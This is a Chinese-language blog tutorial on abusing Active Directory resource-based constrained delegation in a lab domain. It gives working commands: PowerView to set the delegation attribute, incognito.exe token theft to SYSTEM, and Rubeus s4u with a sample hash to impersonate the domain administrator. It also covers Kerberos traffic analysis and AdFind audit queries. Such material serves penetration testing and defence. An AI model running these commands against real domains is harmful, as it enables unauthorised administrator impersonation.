点我

概述

微软在Windows Server 2012中新引入了基于资源的约束性委派(Resource Based Constrained Delegation),简称RBCD。

基于资源的约束性委派将不需要通过域管理员进行修改,而是将设置属性的权限给了服务资源本身。

以WEB服务器和文件服务器为例,传统的约束性委派需要在WEB服务器上设置委派属性,以指定对文件服务器上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在文件服务器上设置资源委派,以允许WEB服务器对文件服务器上的服务进行委派。

设置方式

基于资源的约束性委派中,属性值为msDS-AllowedToActOnBehalfOfOtherIdentity,但是这是值任何用户都不能修改。

WEB服务器的机器名为zhangsan.xbxaq.com,文件系统服务器的机器用户名为server-16.xbxaq.com

登录server-16.xbxaq.com计算机,以administrator的身份登录计算机,打开powershell执行如下的命令进行修改msDS-AllowedToActOnBehalfOfOtherIdentit

1、设置变量值

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WEB服务器的SID值)";
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1445356431-3472965171-1941165345-1104)";

2、转换为16进制

$SDBytes = New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes,0);

3、设置RBCD

导入Powerview.sp1脚本,执行以下命令

Import-Moudle .\Powerview.sp1
Get-DomainComputer 设置委派的机器名 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Get-DomainComputer server-16.xbxaq.com | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

设置成功

4、清除RBCD

Set-DomainObject 设置委派的机器名 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
Set-DomainObject server-16.xbxaq.com -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

配置RBCD的用户

并不是所有的用户都可以设置RBCD,需要的条件如下:

  1. 当机器加入域时使用的账户
  2. 计算机的机器用户(system)
  3. 域管理员(administrator)
  4. Account Operator组中的成员

当机器加入域时使用的账户

在大型内网环境中,将机器加入到域环境中一般不会用到域管权限,而是使用一个专门用来加入域的域用户进行操作。默认情况下,并非只有域管理员才可以将普通用户加入到域环境。

提示:域中的每一个普通账号都有将10台电脑加入域的权限,默认是十台,如果要修改可以更改ms-DS-MachineAccountQuota的值。

用zhong的域内用户使得机器加入域环境中

一旦电脑使用普通的域用户加入了域,在机器的属性中mS-DS-CreatorSID就是加入域用户的 SID值

使用zhong用户登录电脑,执行配置RBCD的命令

机器用户

计算机中的机器用户也可以进行配置RBCD,可使用令牌提权到system权限,system权限可以代表机器用户执行RBCD

incognito.exe工具

列出令牌

incognito.exe list_tokens -u

如果有system令牌的话如下

使用System令牌
incognito.exe execute -c "NT AUTHORITY\SYSTEM" powershell.exe

配置RBCD

域内管理员

域管理员是可以配置RBCD的

Account Operator组中的成员

Account Operators组,该组是内置的本地域组。该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。在默认情况下,该组中没有成员。也就是说,该组默认是域内管理用户和组的特殊权限组。可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录。

默认情况下成员为空

添加一个成员到Account Operators组中

使用liming账户配置RBCD

S4U协议分析

使用Rubeus.exe工具,伪造可任意用户登录

Rubeus.exe s4u /user:用户名 /rc4:对应的hash值 /domain:域名 /msdsspn:伪造的服务/委派机器名 /impersonateuser:伪造的用户 /ptt

注意:可以伪造任意服务,因为没有指定服务

环境准备

server 2012 dbcd.xbxaq.com设置委派

目前已经控制yh机器,并得知rbcd机器设置了基于资源性的约束性委派

1、使用mimikatz工具获取yh机器用户的hash值

2、Rubeus.exe工具

Rubeus.exe s4u /user:YH$ /rc4:5bc6dac2ad6010504b722258ff8ff3e7 /domain:xbxaq.com /msdsspn:CIFS/rbcd.xbxaq.com /impersonateuser:administrator /ptt

流量分析

执行Rubeus工具相关命令后共有六条kerberos数据

第一条 AS-REQ

YH$用户提供自己的身份信息,请求自己的TGT(该TGT是可以转发的)

可以转发的TGT

第二条数据 AS-REP

返回YH用户的TGT票据

第三条数据 TGS-REQ

使用上一步得到的YH$票据(在数据包内),以administrator的身份向TGS申请一张访问自身的ST票据

第四条数据 TGS-REP

TGS返回给给YH$用户一张 administrator用户访问自身的ST票据

第五条数据 TGS-REQ

YH$得到ST票据之后,以该ST票据为证据,申请一张administrator用户访问RBCD机器的CIFS服务的ST票据(可以申请任意服务的ST票据)。这里使用的是S4U2Proxy协议

第六条数据 TGS-REP

TGS返回YH$用户,以administrator用户身份访问rbcd机器的CIFS服务的ST票据

查询已配置机器

查询配置了RBCD的机器账户
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

查询已配置RBCD的域账户
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

查询机器是由哪个用户加入到域中的(查询的是SID值)
AdFind.exe -b "DC=xbxaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID

通过SID值查询用户
AdFind.exe -sc adsid:S-1-5-21-1445356431-3472965171-1941165345-1111 -d

分类: 内网渗透

评论

-- 评论已关闭 --

目录